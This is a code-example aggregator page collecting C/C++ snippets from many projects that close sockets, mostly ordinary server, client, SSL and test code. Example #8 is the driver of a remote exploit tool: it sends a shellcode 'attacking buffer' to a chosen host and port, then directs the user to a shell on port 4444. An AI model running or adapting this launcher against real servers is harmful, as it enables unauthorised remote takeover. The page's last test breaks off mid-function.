示例#1
0
void Network::close_socket(SOCKET socket) {
	closesocket(socket);
}
示例#2
0
// This function is used to create a new thread to handle a new client
void HandleClientThreadFunction(void * parameters){
	SOCKET clientSocket = (SOCKET)parameters;
	
	char receivedByte;
	bool done = false;
	
	// Error reporting variables
	int status;
	char msg[1024];

	// If legacy mode, send an image at startup
	if (g_bLegacy) {
		status = sendFullFrame(clientSocket);
		if (status == SOCKET_ERROR) done = true;
	}
	
	// Loop until the socket has been closed (recv returned 0) or an error occured (recv returned SOCKET_ERROR)
	while(!done){
		// Get the first byte from the client		
		status = recv(clientSocket, &receivedByte, 1, 0);
		if(status != 1) break;

		// Determine the type of request from the first byte
		switch(receivedByte) {

		case 'O':
			// Confirm that this is part of 'OK'
			if (recv(clientSocket, &receivedByte, sizeof(char), 0) != sizeof(char)) break;
			if (receivedByte != 'K') break;

			// Send entire frame to client
			status = sendFullFrame(clientSocket);
			if (status == SOCKET_ERROR) done = true;

			// Flush any queued requests
			break;

		case 'U':
			// Get requested rectangle bounds
			u_long reqX, reqY, reqWidth, reqHeight;
			if(recv(clientSocket, (char*)&reqX, sizeof(u_long), 0) != sizeof(u_long)) break;
			if(recv(clientSocket, (char*)&reqY, sizeof(u_long), 0) != sizeof(u_long)) break;
			if(recv(clientSocket, (char*)&reqWidth, sizeof(u_long), 0) != sizeof(u_long)) break;
			if(recv(clientSocket, (char*)&reqHeight, sizeof(u_long), 0) != sizeof(u_long)) break;

			// Send partial frame to client
			status = sendPartialFrame( clientSocket,
				ntohl(reqX), ntohl(reqY), ntohl(reqWidth), ntohl(reqHeight) );
			if (status == SOCKET_ERROR) done = true;

			// Flush any queued requests
			break;

		default:
			continue;
		}
	}

	// Display an error message if the socket failed
	if(status == SOCKET_ERROR){
		if(WSAGetLastError() != WSAECONNABORTED && WSAGetLastError() != WSAECONNRESET){ 
			sprintf_s(msg, 1023, "WinSock Error: %i", WSAGetLastError());
			MessageBox(NULL, msg, "USARSim Image Server", MB_OK);
		}
	}

	// Thread clean-up
	shutdown(clientSocket, SD_SEND);
	closesocket(clientSocket);
	_endthread();
}
示例#3
0
//--------------------------------------------------
// Thread handler for individual connections
//--------------------------------------------------
void HandleClientSocket(void *pData)
{
	SocketData *data = (SocketData *)pData;
	SOCKET iClientSocket = data->socket;
    struct sockaddr_in iSockAddr = data->addr;

    SocketReader *pReader = NULL;
    SocketWriter *pWriter = NULL;

	// check client socket
	if(iClientSocket == INVALID_SOCKET)
	{
		OutputDebugString("Invalid Socket.\n");
		goto Shutdown;
	}

	// check the ip
    if(!Server::Get()->ValidateIpAddress(iSockAddr))
	{
		OutputDebugString("Ip address was rejected.\n");
		goto Shutdown;
	}
	
	// allocate request buffer
    pReader = new SocketReader(iClientSocket);

	// socket is ready for read
    if(pReader->ReadToEnd() <= 0)
    {
		OutputDebugString("Error reading socket.\n");
		goto Shutdown;
    }

    // allocate reply buffer
    pWriter = new SocketWriter(iClientSocket);

	// write the http headers
    if(ConfigManager::Get()->GetConfig()->IsHttpHeadersEnabled())
	{
        if (pWriter->WriteHeader() <= 0)
        {
			OutputDebugString("Error writing to socket: HTTP Headers.\n");
			goto Shutdown;
        }
    }
	
    // handle commands contained in the request buffer
    QueryEngine::Get()->ParseAndExecute(pReader->GetBuffer(), pWriter);
    

Shutdown: 
	// close client socket
	closesocket(iClientSocket);

    // free
    if(pReader)
        delete pReader;
    if(pWriter)
        delete pWriter;

    // free thread data
	if(data)
		delete data;
}
示例#4
0
ft_buffer_server_t *ft_start_buffer_server(int port, const char *name, ft_request_callback_t callback, void *user_data) {
	ft_buffer_server_t *SC;
	int optval;
	SOCKET s = INVALID_SOCKET;
	
	SC = (ft_buffer_server_t *) malloc(sizeof(ft_buffer_server_t));
	if (SC==NULL) return NULL;
	
	SC->callback = callback;
	SC->user_data = user_data;

#ifdef WIN32
	{
		/* We only need to do this once ... and actually have a corresponding WSACleanup call somewhere */
		static WSADATA wsa = {0,0};
		if (wsa.wVersion == 0) {
			if(WSAStartup(MAKEWORD(1, 1), &wsa)) {
				fprintf(stderr, "ft_start_buffer_server: cannot start WIN32 sockets.\n");
				goto cleanup;
			}
		}
	}
#endif

	/* setup socket */
	if (port == 0) {
#ifdef WIN32
		fprintf(stderr, "ft_start_buffer_server: invalid port number given.\n");
		goto cleanup;
#else
		struct sockaddr_un sa;
		/* UNIX domain socket */
		s = socket(AF_UNIX, SOCK_STREAM, 0);
		if (s == INVALID_SOCKET) {
			perror("ft_start_buffer_server, socket");
			goto cleanup;
		}
		sa.sun_family = AF_UNIX;
		strncpy(sa.sun_path, name, sizeof(sa.sun_path));
		if (bind(s, (struct sockaddr *) &sa, sizeof(sa)) == -1) {
			perror("ft_start_buffer_server, bind");
			goto cleanup;
		}
		SC->isUnixDomain = 0;
#endif
	} else {
		/* TCP socket */
		struct sockaddr_in sa;

		s = socket(PF_INET, SOCK_STREAM, 0);
		if (s == INVALID_SOCKET) {
			perror("ft_start_buffer_server, socket");
			goto cleanup;
		}
		/* prevend "bind: address already in use" */
		optval = 1;
		if (setsockopt(s, SOL_SOCKET, SO_REUSEADDR, (const char*)&optval, sizeof(optval)) < 0) {
			perror("ft_start_buffer_server, setsockopt");
			goto cleanup;
		}

		bzero(&sa, sizeof(sa));
		sa.sin_family = AF_INET;
		sa.sin_port   = htons(port);
		sa.sin_addr.s_addr = htonl(INADDR_ANY);
		if (bind(s, (struct sockaddr *) &sa, sizeof(sa)) < 0) {
			perror("ft_start_buffer_server, bind");
			goto cleanup;
		}
		SC->isUnixDomain = 0;
	}
	
	/* place the socket in non-blocking mode, required to do thread cancelation */
#ifdef WIN32
	{
		unsigned long enable = 0;
		ioctlsocket(s, FIONBIO, &enable);
	}
#else
	optval = fcntl(s, F_GETFL, NULL);
	optval = optval | O_NONBLOCK;
	if (fcntl(s, F_SETFL, optval)<0) {
		perror("ft_start_buffer_server, fcntl");
		goto cleanup;
	}
#endif

	if (listen(s, BACKLOG)<0) {
		perror("ft_start_buffer_server, listen");
		goto cleanup;
	}
		
	/* set some control variables */
	SC->numClients = 0;
	SC->keepRunning = 1;
	SC->serverSocket = s;
	SC->verbosity = 10; /* TODO: specify proper values */
	
	/* create the mutex */
	if (pthread_mutex_init(&SC->lock, NULL) != 0) {
		fprintf(stderr,"start_tcp_server: mutex could not be initialised\n");
		goto cleanup;
	}
	
	/* create thread with default attributes */
	if (pthread_create(&SC->threadID, NULL, _buffer_server_func, SC) == 0) {
		/* everything went fine - thread should be running now */
		return SC;
	}	
	
	fprintf(stderr,"start_tcp_server: could not spawn thread\n");
	pthread_mutex_destroy(&SC->lock);

cleanup:
	if (SC != NULL) free(SC);
	if (s != INVALID_SOCKET) {
		#ifdef WIN32
		shutdown(s, SD_BOTH);
		#else
		shutdown(s, SHUT_RDWR);
		#endif
		closesocket(s);
	}
	return NULL;
}		
void TApplicationServer::nativeClose(int socket)
{
    if (socket != (int)INVALID_SOCKET)
        closesocket(socket);
}
示例#6
0
file_error win_close_socket(osd_file *file)
{
	closesocket(file->socket);
	free(file);
	return FILERR_NONE;
}
示例#7
0
int	SockConnector::connect(SockStream &stream, InetAddr &addr, TimeValue &tv)
{	
	int rv = 0;

	// non-block socket
	stream.set_nonblocking();
	
	#ifdef _WIN32

	// connect
	rv = ::connect(stream.get_handle(), (const struct sockaddr *) addr.get_addr(), (socklen_t)addr.get_addr_size());
	if (rv != -1) {
		rv = 0;
	}
	else  {
		if (WSAGetLastError() == WSAEWOULDBLOCK) 
		{
			//printf("connect InProgress [%d]\n", sock);
			fd_set rset;
			fd_set wset;

			FD_ZERO(&rset);
			FD_ZERO(&wset);
			FD_SET(stream.get_handle(), &rset);			
			FD_SET(stream.get_handle(), &wset);			
			
			rv = ::select(0, &rset, &wset, NULL, (struct  timeval*)tv.timeval());
			if (rv == 0) {				
				perror("connect timeout");
				rv = -1;
			}
			else if (FD_ISSET(stream.get_handle(), &rset) || FD_ISSET(stream.get_handle(), &wset)) {
				int error = 0;
				socklen_t len = sizeof(error);
				if (getsockopt(stream.get_handle(), SOL_SOCKET, SO_ERROR, (char *)&error, &len) == 0) {
					// select error
					if (error == 0) {
						rv = 0;
					}
					else {
						closesocket(stream.get_handle());						
						perror("connect");		
						rv = -1;
					}	
				}
			}
			else {
				perror("connect");		
				rv = -1;

			}
		} 
		else {
			perror("connect");
			rv = -1;
		}
	}
	#endif

	// restore file status flags
	stream.set_blocking();
	
	return rv;
}
示例#8
0
int main(int argc, char **argv)
{
	char * remotehost=NULL;
	char default_remotehost[]="127.0.0.1";
	char temp1[100], temp2[100];
	int port, itarget, sh;
	SOCKET s;
	char c;	
	int option_index=0;
	logo();
	WSADATA wsa;
	WSAStartup(MAKEWORD(2,0), &wsa);
	if(argc<2)
	{
		usage(argv[0]);		
		return -1;
	}

	// set defaults
	port=9999;
	itarget=-1;
	sh=0;
	// ------------	
	
	while((c = getopt(argc, argv, "h:p:t:"))!= EOF)
	{
		switch (c)
		{
			case 'h':
				remotehost=optarg;
				break; 	
			case 't':
				sscanf(optarg, "%d", &itarget);
				itarget--;
				break;
			case 'p':
				sscanf(optarg, "%d", &port);
				break;			
			default:
	            usage(argv[0]);
				WSACleanup();
			return -1;
		}		
	}	
	if(remotehost == NULL) remotehost=default_remotehost;
	memset(temp1,0,sizeof(temp1));
	memset(temp2,0,sizeof(temp2));
	memset(temp1, '\x20' , 58 - strlen(remotehost) -1);	
	printf(" #  Host    : %s%s# \n", remotehost, temp1);	
	sprintf(temp2, "%d", port);
	memset(temp1,0,sizeof(temp1));
	memset(temp1, '\x20' , 58 - strlen(temp2) -1);
	printf(" #  Port    : %s%s# \n", temp2, temp1);
	memset(temp1,0,sizeof(temp1));	
	memset(temp2,0,sizeof(temp2));
	sprintf(temp2, "%s", shellcodes[sh].name );
	memset(temp1, '\x20' , 58 - strlen(temp2) -1);	
	printf(" #  Payload : %s%s# \n", temp2, temp1);	
	if(itarget!=-1)
	{
		memset(temp1,0,sizeof(temp1));	
		memset(temp1, '\x20' , 58 - strlen(targets[itarget].t) -1);	
		printf(" #  Target  : %s%s# \n", targets[itarget].t, temp1);		
	}else
	{
		memset(temp1,0,sizeof(temp1));	
		memset(temp1, '\x20' , 58 - strlen("Please select target") -1);	
		printf(" #  Target  : %s%s# \n", "Please select target", temp1);
	}
	printf(" # ------------------------------------------------------------------- # \n");
	fflush(stdout);
	printf("   [+] Checking if server is online\n");
	fflush(stdout);
	s=do_connect(remotehost, port);   
	if(s==-1)
	{
		printf("   [-] Server is OFFLINE\n");
		end_logo();
		return 0;
	}
	closesocket(s);
	printf("   [+] Server is ONLINE\n");

	
	unsigned char buf[30000];
	memset(buf,0,sizeof(buf));
	fflush(stdout);
	
	make_buffer(buf, itarget, sh);
	printf("   [+] Attacking buffer constructed\n");
	if(send_buffer(buf, remotehost,port)==-1)
	{
		printf("   [-] Cannot exploit server %s\n", remotehost);
		end_logo();
		WSACleanup();
		return -1;
	}

	printf("   [+] Buffer sent\n");
	printf("   [+] Connect to %s:%d\n", remotehost, 4444);
	end_logo();
	WSACleanup();
	return 0;
}
示例#9
0
LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{
	int wmId, wmEvent;
	PAINTSTRUCT ps;
	HDC hdc;
	switch (message)
	{
	case WM_CREATE:
		{
			hdc = BeginPaint(hWnd, &ps);// дескриптор л¤ отображени¤ элементов окна
			startButton = CreateWindowEx(0,TEXT("button"),TEXT("Start Server"),WS_VISIBLE|WS_CHILD,700, 20, 150, 30, hWnd, (HMENU)START_ID, hInst, 0);
			stopButton = CreateWindowEx(0,TEXT("button"),TEXT("Stop Server"),WS_VISIBLE|WS_CHILD,700, 60, 150, 30, hWnd, (HMENU)STOP_ID, hInst, 0);
			addButton = CreateWindowEx(0,TEXT("button"),TEXT("Add file"),WS_VISIBLE|WS_CHILD,700, 150, 150, 30, hWnd, (HMENU)ADD_ID, hInst, 0);
			exitButton = CreateWindowEx(0,TEXT("button"),TEXT("Exit"),WS_VISIBLE|WS_CHILD,700, 350, 150, 30, hWnd, (HMENU)EXIT_ID, hInst, 0);
			hEdit			= CreateWindowEx(	0,TEXT("edit"),TEXT("127.0.0.1"), WS_CHILD | WS_VISIBLE| ES_LEFT | ES_MULTILINE,60, 10, 400, 20, hWnd, (HMENU)EDIT_ID, hInst, 0);
			hEdit2			= CreateWindowEx(	0,TEXT("edit"),TEXT("12345"), WS_CHILD | WS_VISIBLE| ES_LEFT | ES_MULTILINE,60, 40, 400, 20, hWnd, (HMENU)EDIT2_ID, hInst, 0);
			hList			= CreateWindowEx(	0,TEXT("ListBox"),0,WS_CHILD | WS_VISIBLE| ES_LEFT|ES_NUMBER, 60, 130, 500, 400, hWnd, (HMENU)LIST_ID, hInst, 0);
			EndPaint(hWnd, &ps);
			break;
		}
	case WM_COMMAND:
		wmId    = LOWORD(wParam);
		wmEvent = HIWORD(wParam);
		// –азобрать выбор:
		switch (wmId)
		{
		case IDM_EXIT:
			DestroyWindow(hWnd);
			break;
		case EXIT_ID:
			DestroyWindow(hWnd);
			break;
		case ADD_ID:
		{
			OPENFILENAME ofn;
			PSTR FileName  = new char [255];
			lstrcpy(FileName,"");
			ZeroMemory(&ofn,sizeof(ofn));										// очистим структуру
			ofn.lStructSize = sizeof(ofn);
			ofn.hwndOwner = hWnd;
			ofn.lpstrFile = FileName;
			ofn.lpstrFilter = "WAV\0*.wav";// маскафильтра добавлени¤ файла
			ofn.nFilterIndex = 1;//айдишник структуры
			ofn.lpstrFileTitle = NULL;
			ofn.nMaxFileTitle = 0;
			ofn.lpstrInitialDir = NULL;
			ofn.Flags = OFN_PATHMUSTEXIST | OFN_FILEMUSTEXIST;
			ofn.nMaxFile = 9999;
			ofn.Flags = OFN_PATHMUSTEXIST | OFN_FILEMUSTEXIST | OFN_ALLOWMULTISELECT | OFN_EXPLORER;
			bool ret = GetOpenFileName(&ofn); 
			DefWindowProc(hWnd, WM_PAINT, wParam, lParam);
			SendMessage(hList,LB_ADDSTRING,wParam,(LPARAM)ofn.lpstrFile);
			SendMessage(hList,LB_SETCURSEL,0,0);
			break;
		}
		case START_ID:
		{
			WSAStartup(MAKEWORD(2,2), &wsaData);										// Initialize Winsock
			SendRecvSocket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);					// Create a SOCKET for connecting to server
			// Setup the TCP listening socket
			ServerAddr.sin_family=AF_INET;												//семейство адресов 
			char S[255];
			SendMessage(hEdit, WM_GETTEXT, 255, (LPARAM)S);
			ServerAddr.sin_addr.s_addr = inet_addr( S );
			SendMessage(hEdit2, WM_GETTEXT, 255, (LPARAM)S);
			int tmp = atoi(S); // число
			ServerAddr.sin_port=htons(tmp);
			err = bind( SendRecvSocket, (sockaddr *) &ServerAddr, sizeof(ServerAddr));	// св¤зывание адреса с сокетом
			if (err == SOCKET_ERROR) 
			{
				char strerr[256];
				int tmp = WSAGetLastError();
				sprintf(strerr,"%d",tmp);
				std::string tmp_S;
				tmp_S="ERROR number: ";
				tmp_S+=strerr;
				MessageBox(hWnd,(LPCSTR)strerr,tmp_S.c_str(),  MB_ICONERROR);
				closesocket(SendRecvSocket);
				WSACleanup();
				break;
			}
			WIN32_FIND_DATA FindFileData;
			HANDLE hFind;
			int el=-100;
			el=SendMessage(hList,LB_GETCURSEL,0,0);
			if (el==-1)
			{
				MessageBox(hWnd,"Add element", "ERROR", MB_ICONERROR);
				closesocket(SendRecvSocket);
				WSACleanup();
				break;
			}
			SendMessage(hList,LB_GETTEXT, el, (LPARAM)TransFileName);
			hFind = FindFirstFile((LPCSTR)TransFileName, &FindFileData);
			FindClose(hFind);
			ifs.open(TransFileName,std::ios_base::binary);
			SetTimer(hWnd,100500,50,NULL);
			break;
		}
		case STOP_ID:
		{
			KillTimer(hWnd,100500);
			if (ifs.is_open()) ifs.close();
			closesocket(SendRecvSocket);
			WSACleanup();
			break;
		}
		default:
			return DefWindowProc(hWnd, message, wParam, lParam);
		}
		break;
	case WM_PAINT:
	{
		hdc = BeginPaint(hWnd, &ps);
		// добавьть любой код отрисовки...
		EndPaint(hWnd, &ps);
		break;
	}
	case WM_TIMER:
		{
			if(wParam==100500)
			{
				DWORD val = 20; // ждем 20 мс
				setsockopt (SendRecvSocket, SOL_SOCKET, SO_RCVTIMEO, (const char*)&val, sizeof DWORD);		//без этого вызова висим вечно
				err = recvfrom(SendRecvSocket,recvbuf,maxlen,0,(sockaddr *)&ClientAddr,&ClientAddrSize);
				if (err > 0) 
				{
					recvbuf[err]=0;
					std::string inS, FunctionS, ComandS;
					inS = (char* )recvbuf;
					int i =0;
					while ((i<inS.length()) && (inS[i] != ' '))
						ComandS +=inS[i++];
					int comand = atoi(ComandS.c_str());
					if (comand == 1)
					{
						const int NN=sizeof(sWaveHeader);
						char* buf=new char[NN];
						int k=0;
						if (ifs.peek()!=EOF)
						{
							for (int j =0; j<NN; ++j)
							{
								buf[k]=ifs.get();
								++k;
								if (ifs.peek()==EOF)
									break;
							}
						}
						sWaveHeader Hdr;
						copybuf(reinterpret_cast<char*>(&Hdr),buf, sizeof(sWaveHeader));
						sendto(SendRecvSocket,buf,k,0,(sockaddr *)&ClientAddr,sizeof(ClientAddr));		// отправл¤ем результат на сервер
						delete []buf;
					}
					if(comand>1)
					{
						++count_obr;
						const int NN=comand;
						char* buf=new char[NN];
						int k=0;
						if (ifs.peek()!=EOF)
						{
							for (int j =0; j<NN; ++j)
							{
								buf[k]=ifs.get();
								++k;
								if (ifs.peek()==EOF)
									break;
							}
						}
						sendto(SendRecvSocket,buf,k,0,(sockaddr *)&ClientAddr,sizeof(ClientAddr));			// отправл¤ем результат на сервер
						delete []buf;
					}

				}
				if (ifs.is_open())
					if (ifs.peek()==EOF)
					{
						KillTimer(hWnd,100500);
						if (ifs.is_open())ifs.close();
						closesocket(SendRecvSocket);
						WSACleanup();

						char tmp_count[256];
						sprintf(tmp_count,"%d",count_obr);
						std::string message_i;
						message_i = TransFileName;
						message_i+= "  file transfer is complete. count_obr = ";
						message_i+= tmp_count;
						MessageBox(hWnd, message_i.c_str(),"Information", MB_ICONINFORMATION);
					}
			}
			break;
		}
	case WM_DESTROY:
		PostQuitMessage(0);
		break;
	default:
		return DefWindowProc(hWnd, message, wParam, lParam);
	}
	return 0;
}
示例#10
0
static int
new_ssl_stream(const char *name, int fd, enum session_type type,
               enum ssl_state state, struct stream **streamp)
{
    struct ssl_stream *sslv;
    SSL *ssl = NULL;
    int retval;

    /* Check for all the needful configuration. */
    retval = 0;
    if (!private_key.read) {
        VLOG_ERR("Private key must be configured to use SSL");
        retval = ENOPROTOOPT;
    }
    if (!certificate.read) {
        VLOG_ERR("Certificate must be configured to use SSL");
        retval = ENOPROTOOPT;
    }
    if (!ca_cert.read && verify_peer_cert && !bootstrap_ca_cert) {
        VLOG_ERR("CA certificate must be configured to use SSL");
        retval = ENOPROTOOPT;
    }
    if (!retval && !SSL_CTX_check_private_key(ctx)) {
        VLOG_ERR("Private key does not match certificate public key: %s",
                 ERR_error_string(ERR_get_error(), NULL));
        retval = ENOPROTOOPT;
    }
    if (retval) {
        goto error;
    }

    /* Disable Nagle.
     * On windows platforms, this can only be called upon TCP connected.
     */
    if (state == STATE_SSL_CONNECTING) {
        setsockopt_tcp_nodelay(fd);
    }

    /* Create and configure OpenSSL stream. */
    ssl = SSL_new(ctx);
    if (ssl == NULL) {
        VLOG_ERR("SSL_new: %s", ERR_error_string(ERR_get_error(), NULL));
        retval = ENOPROTOOPT;
        goto error;
    }
    if (SSL_set_fd(ssl, fd) == 0) {
        VLOG_ERR("SSL_set_fd: %s", ERR_error_string(ERR_get_error(), NULL));
        retval = ENOPROTOOPT;
        goto error;
    }
    if (!verify_peer_cert || (bootstrap_ca_cert && type == CLIENT)) {
        SSL_set_verify(ssl, SSL_VERIFY_NONE, NULL);
    }

    /* Create and return the ssl_stream. */
    sslv = xmalloc(sizeof *sslv);
    stream_init(&sslv->stream, &ssl_stream_class, EAGAIN, name);
    sslv->state = state;
    sslv->type = type;
    sslv->fd = fd;
    sslv->ssl = ssl;
    sslv->txbuf = NULL;
    sslv->rx_want = sslv->tx_want = SSL_NOTHING;
    sslv->session_nr = next_session_nr++;
    sslv->n_head = 0;

    if (VLOG_IS_DBG_ENABLED()) {
        SSL_set_msg_callback(ssl, ssl_protocol_cb);
        SSL_set_msg_callback_arg(ssl, sslv);
    }

    *streamp = &sslv->stream;
    return 0;

error:
    if (ssl) {
        SSL_free(ssl);
    }
    closesocket(fd);
    return retval;
}
示例#11
0
DWORD WINAPI ServerWorkerThread(LPVOID CompletionPortID)
{
	DWORD					dwBytesTransferred = 0;

	CSessionInfo*			pSessionInfo = NULL;
	_LPTCOMPLETIONPORT		lpPerIoData = NULL;

	char					szPacket[DATA_BUFSIZE * 2];
	char					szMsg[32];
	char					*pszPos;

	while (TRUE)
	{
		if ( GetQueuedCompletionStatus( 
										(HANDLE)CompletionPortID, 
										&dwBytesTransferred, 
										(LPDWORD)&pSessionInfo, 										
										(LPOVERLAPPED *)&lpPerIoData, 
										INFINITE) == 0)
		{
			if (g_fTerminated)
				return 0;

			//失败关闭
			if (pSessionInfo)
			{
				szMsg[0] = '%';
				szMsg[1] = 'X';

				char *pszPos = ValToAnsiStr((int)pSessionInfo->sock, &szMsg[2]);

				*pszPos++	= '$';
				*pszPos		= '\0';

				SendExToServer(szMsg); 

				g_xSessionList.RemoveNodeByData(pSessionInfo);

				closesocket(pSessionInfo->sock);
				pSessionInfo->sock = INVALID_SOCKET;

				UpdateStatusBar(FALSE);

				//GlobalFree(pSessionInfo);
				CSessionInfo::ObjPool().reclaimObject(pSessionInfo);
			}

			continue;
		}

		if (g_fTerminated)
			return 0;

		if (dwBytesTransferred == 0)
		{
			szMsg[0] = '%';
			szMsg[1] = 'X';

			char *pszPos = ValToAnsiStr((int)pSessionInfo->sock, &szMsg[2]);

			*pszPos++	= '$';
			*pszPos		= '\0';

			SendExToServer(szMsg); 

			g_xSessionList.RemoveNodeByData(pSessionInfo);

			closesocket(pSessionInfo->sock);
			pSessionInfo->sock = INVALID_SOCKET;

			UpdateStatusBar(FALSE);

			//GlobalFree(pSessionInfo);
			CSessionInfo::ObjPool().reclaimObject(pSessionInfo);
			continue;
		}


		// ORZ:
		pSessionInfo->bufLen += dwBytesTransferred;

		while ( pSessionInfo->HasCompletionPacket() )
		{
			szPacket[0]	= '%';
			szPacket[1]	= 'A';
			pszPos		= ValToAnsiStr( (int) pSessionInfo->sock, &szPacket[2] );
			*pszPos++	= '/';
			pszPos		= pSessionInfo->ExtractPacket( pszPos );
			*pszPos++	= '$';
			*pszPos		= '\0';

			SendExToServer( szPacket );
		}

		// ORZ:
		if ( pSessionInfo->Recv() == SOCKET_ERROR && WSAGetLastError() != ERROR_IO_PENDING )
		{
			InsertLogMsg(_TEXT("WSARecv() failed"));
			
			CloseSession(pSessionInfo->sock);
			continue;
		}
	}

	return 0;
}
示例#12
0
	void SocketX::Close()
	{
		closesocket(socket_);
	}
示例#13
0
文件: proxy.c 项目: revmischa/bitlbee
static int proxy_connect_none(const char *host, unsigned short port_, struct PHB *phb)
{
	struct sockaddr_in me;
	int fd = -1;

	if (phb->gai_cur == NULL) {
		int ret;
		char port[6];
		struct addrinfo hints;

		g_snprintf(port, sizeof(port), "%d", port_);

		memset(&hints, 0, sizeof(struct addrinfo));
		hints.ai_family = AF_UNSPEC;
		hints.ai_socktype = SOCK_STREAM;
		hints.ai_flags = AI_ADDRCONFIG | AI_NUMERICSERV;

		if (!(ret = getaddrinfo(host, port, &hints, &phb->gai))) {
			phb->gai_cur = phb->gai;
		} else {
			event_debug("gai(): %s\n", gai_strerror(ret));
		}
	}

	for (; phb->gai_cur; phb->gai_cur = phb->gai_cur->ai_next) {
		if ((fd = socket(phb->gai_cur->ai_family, phb->gai_cur->ai_socktype, phb->gai_cur->ai_protocol)) < 0) {
			event_debug("socket failed: %d\n", errno);
			continue;
		}

		sock_make_nonblocking(fd);

		if (global.conf->iface_out) {
			me.sin_family = AF_INET;
			me.sin_port = 0;
			me.sin_addr.s_addr = inet_addr(global.conf->iface_out);

			if (bind(fd, (struct sockaddr *) &me, sizeof(me)) != 0) {
				event_debug("bind( %d, \"%s\" ) failure\n", fd, global.conf->iface_out);
			}
		}

		event_debug("proxy_connect_none( \"%s\", %d ) = %d\n", host, port_, fd);

		if (connect(fd, phb->gai_cur->ai_addr, phb->gai_cur->ai_addrlen) < 0 && !sockerr_again()) {
			event_debug("connect failed: %s\n", strerror(errno));
			closesocket(fd);
			fd = -1;
			continue;
		} else {
			phb->inpa = b_input_add(fd, B_EV_IO_WRITE, proxy_connected, phb);
			phb->fd = fd;

			break;
		}
	}

	if (fd < 0 && host) {
		phb_free(phb, TRUE);
	}

	return fd;
}
示例#14
0
文件: test2.c 项目: smartmaster/sscli
/**
 * main
 * 
 * executable entry point
 */
int __cdecl main( int argc, char **argv ) 
{
    /* local variables */
    int err;
    WORD wVersionRequested;
    WSADATA wsaData;
    DWORD dwSocketError;
    u_long one;
    struct  sockaddr_in mySockaddr;

    SOCKET sock = INVALID_SOCKET;

    /* recvfrom operation varaibles*/
    HANDLE hReadEvent;    
    char myBuffer[255];    
    DWORD         dwRecvFlags = 0;
    WSAOVERLAPPED wsaRecvOverlapped;
    int sizeOverlapped;    


    /* PAL initialization */
    if ( (PAL_Initialize(argc, argv)) != 0 )
    {
        return( FAIL );
    }


    /* initialize winsock version 2.2 */
    wVersionRequested = MAKEWORD( 2, 2 );

    err = WSAStartup( wVersionRequested, &wsaData );
    if ( err != 0 )
    {
        Fail( "Unexpected WSAStartup call failed with error code %d\n", 
              err ); 
    }

    /* Confirm that the WinSock DLL supports the specified version. */
    if( LOBYTE( wsaData.wVersion ) != 2 ||
        HIBYTE( wsaData.wVersion ) != 2 )
    {
        /* Tell the user that we could not find a usable winsock DLL. */
        
        if (WSACleanup()==0 )
        {                
            Trace("WSACleanup call failed with error code %u\n",
                GetLastError() ); 
        }

        Fail(   "Requested winsock version unsupported, "
                "returned version %d.%d\n", 
                LOBYTE( wsaData.wVersion ),
                HIBYTE( wsaData.wVersion ) ); 
    }

    /* prepare the sockaddr_in structure */
    mySockaddr.sin_family           = AF_INET;
    mySockaddr.sin_port             = getRotorTestPort();
    mySockaddr.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");

    memset( &(mySockaddr.sin_zero), 0, 8);


    /* create a stream socket in Internet domain */
    sock = WSASocketA(  AF_INET,
                        SOCK_DGRAM,
                        IPPROTO_UDP,
                        NULL,
                        0,
                        WSA_FLAG_OVERLAPPED
                    );


    if( sock == INVALID_SOCKET )
    {
        /* check the socket-specific error code */    
        dwSocketError = GetLastError();
        
        if (WSACleanup()==0 )
        {                
            Trace("WSACleanup call failed with error code %u\n",
                GetLastError() ); 
        }

        Fail(   "WSASocket call failed with error code %d\n",
                dwSocketError ); 
    }
    
    /* set the socket to non-blocking */
    one = 1;
    err = ioctlsocket( sock, FIONBIO, &one );
    if( err != 0 )
    {
        /* check the socket-specific error code */    
        dwSocketError = GetLastError();
        Fail(   "ioctlsocket call failed with error code %d\n",
                dwSocketError ); 
    }
    
    
    /* bind local address to a socket */
    err = bind( sock,
                (struct sockaddr *)&mySockaddr,
                sizeof(struct sockaddr) );

    
    if( err == SOCKET_ERROR )
    {
        Trace("ERROR: Unexpected failure: "
              "bind() socket with local address "
              "returned %d\n",
              GetLastError() );       

        /* Do some cleanup */
        if (closesocket( sock )==SOCKET_ERROR )
        {
            Trace("Error closing socket\n");                
        }
       
        if (WSACleanup()==0 )
        {                
            Trace("WSACleanup call failed with error code %u\n",
                GetLastError() ); 
        }

        Fail("");
    }

    /* create an event */
    hReadEvent = CreateEvent( NULL, /* no security   */
                             FALSE,   /* reset type    */
                             FALSE,   /* initial state */
                             NULL );  /* object name   */
            
    if( hReadEvent == NULL )
    {            
        Trace("Server error: Unexpected failure: "
              "CreateEvent() "
              "returned %d\n",
              GetLastError());

         /* Do some cleanup */
        if (closesocket( sock )==SOCKET_ERROR )
        {
            Trace("Error closing socket\n");                
        }
        
        if (WSACleanup()==0 )
        {                
            Trace("WSACleanup call failed with error code %u\n",
                GetLastError() ); 
        }

        Fail("");
        
    }

    /* Initialize the WSABUF structure */
    memset(myBuffer, 0, 255);    

    /* Initialize the WSAOVERLAPPED to 0 */
    memset(&wsaRecvOverlapped, 0, sizeof(WSAOVERLAPPED));

    /* Specify which event to signal when data is arrived*/
    wsaRecvOverlapped.hEvent = hReadEvent;

    sizeOverlapped = (int) sizeof(mySockaddr);

    /* Prepare to receive data */
    err = recvfrom( sock,
                myBuffer,
                255,
                dwRecvFlags,
                (struct sockaddr*)&mySockaddr,
                &sizeOverlapped);

    if( err != SOCKET_ERROR )
    {
        Trace("Server error: WSARecv() "
                    "returned  %d, SOCKET_ERROR\n",
                    err ); 

        if (CloseHandle(hReadEvent)==0)
        {
            Trace("Server error: CloseHandle Failed ");                    
        }

        /* Do some cleanup */
        if (closesocket( sock )==SOCKET_ERROR )
        {
            Trace("Error closing socket\n");                
        }
        
        if (WSACleanup()==0 )
        {                
            Trace("WSACleanup call failed with error code %u\n",
                GetLastError() ); 
        }

        Fail("");
    
    }
    else
    {
        err = GetLastError();
        /* Only WSA_IO_PENDING is expected */
        if(err==WSA_IO_PENDING)
        {
            /* Wait 10 seconds for ReadEvent to be signaled 
            from the pending operation
            */
            err = WaitForSingleObject( hReadEvent, 1000 );    
            
            if (err==WAIT_FAILED)
            {           
                Trace("Server error: Unexpected failure: "
                    "WaitForSingleObject failed \n");

                if (CloseHandle(hReadEvent)==0)
                {
                    Trace("Server error: CloseHandle Failed ");                    
                }

                if (closesocket( sock )==SOCKET_ERROR )
                {
